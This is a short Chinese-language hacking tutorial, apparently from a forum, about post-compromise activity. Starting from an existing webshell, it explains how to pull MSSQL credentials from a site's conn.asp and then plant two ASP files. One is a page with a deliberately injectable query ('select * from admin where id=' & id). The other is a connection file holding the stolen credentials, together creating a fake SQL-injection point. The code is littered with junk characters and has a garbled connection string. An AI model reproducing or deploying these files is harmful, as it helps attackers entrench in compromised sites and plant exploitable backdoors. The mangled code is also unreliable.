首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
5 f9 I4 {# E4 f" U1 f9 e5 i1 aASP/Visual Basic代码6 f& X) f/ @% Y# l
<!--#include file="xx.asp"-->
% k5 m1 r! L k3 i8 D0 Z<%
+ E6 Q- y5 A w: M8 {set rs=server.createobject("ADODB.recordset") / n- h/ R2 i X; V# B& O
id = request("id") & v+ L% ^ c5 h- x
strSQL = "select * from admin where id=" & id
! {2 l9 `" N+ ?# B4 @rs.open strSQL,conn,1,3 8 V: _* f2 t6 D _3 ~5 A
rs.close
# `; @- ]4 H# ^" F: E/ |5 N5 A6 q%>
$ p/ j7 C" N, g, x& n, _0 N把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!. M/ o6 x! U3 y5 o$ O3 Z9 q
然后就要构造一个连接数据库的文件了,代码如下:
: n' |: m% S( VASP/Visual Basic代码
7 F+ t. T# B; @* X8 _. z<%
% B" y0 O$ I# l8 l$ a- TstrSQLServerName = "000.000.000.000" '服务器名称或地址
+ _# p" w2 K: @9 [8 o3 m: estrSQLDBUserName = "sqlname" '数据库帐号
6 t5 B: i8 x/ k3 istrSQLDBPassword = "sqlpass" '数据库密码 3 X y- A; `: G8 ?$ B1 ~1 e
strSQLDBName = "sqldataname" '数据库名称 $ ~9 `+ [# c4 N ]
Set conn = Server.CreateObject("ADODB.Connection") 2 \1 ?: B/ m* V
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" ! Q k$ I6 e$ S, A
conn.open strCon % v2 l2 i9 o5 c3 `. T
%> 9 _, B0 q8 [( j/ m U
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
8 m+ p q7 F3 h& W6 N% t |